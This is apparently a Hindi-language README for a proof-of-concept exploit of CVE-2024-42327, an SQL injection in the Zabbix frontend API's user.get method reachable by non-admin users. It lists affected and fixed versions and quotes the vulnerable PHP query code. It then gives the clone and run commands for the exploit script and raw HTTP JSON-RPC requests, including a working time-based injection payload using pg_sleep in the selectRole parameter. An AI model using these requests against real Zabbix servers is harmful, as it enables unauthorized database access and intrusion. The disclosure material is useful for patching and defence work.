
CVE-2024-42327 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Zabbix फ्रंटएंड API में एक SQL इंजेक्शन कमजोरी, जो गैर-प्रशासक उपयोगकर्ताओं को user.get विधि के माध्यम से मनमानी SQL क्वेरी निष्पादित करने की अनुमति देती है।
Zabbix फ्रंटएंड पर डिफ़ॉल्ट उपयोगकर्ता भूमिका वाला या किसी अन्य भूमिका वाला गैर-व्यवस्थापक उपयोगकर्ता खाता जो API तक पहुँच प्रदान करता है, इस भेद्यता का शोषण कर सकता है। CUser वर्ग में addRelatedObjects फ़ंक्शन में एक SQLi मौजूद है, यह फ़ंक्शन CUser.get फ़ंक्शन से कॉल किया जाता है जो API तक पहुँच रखने वाले प्रत्येक उपयोगकर्ता के लिए उपलब्ध है।

असुरक्षित संस्करण: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0
फिक्स्ड संस्करण: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
एक्सप्लॉइट का उपयोग:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
अनुरोध:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (Time Based SQLi)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
